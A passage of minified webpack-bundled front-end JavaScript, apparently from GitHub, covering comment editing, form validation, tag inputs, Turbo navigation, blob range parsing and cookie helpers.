fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return 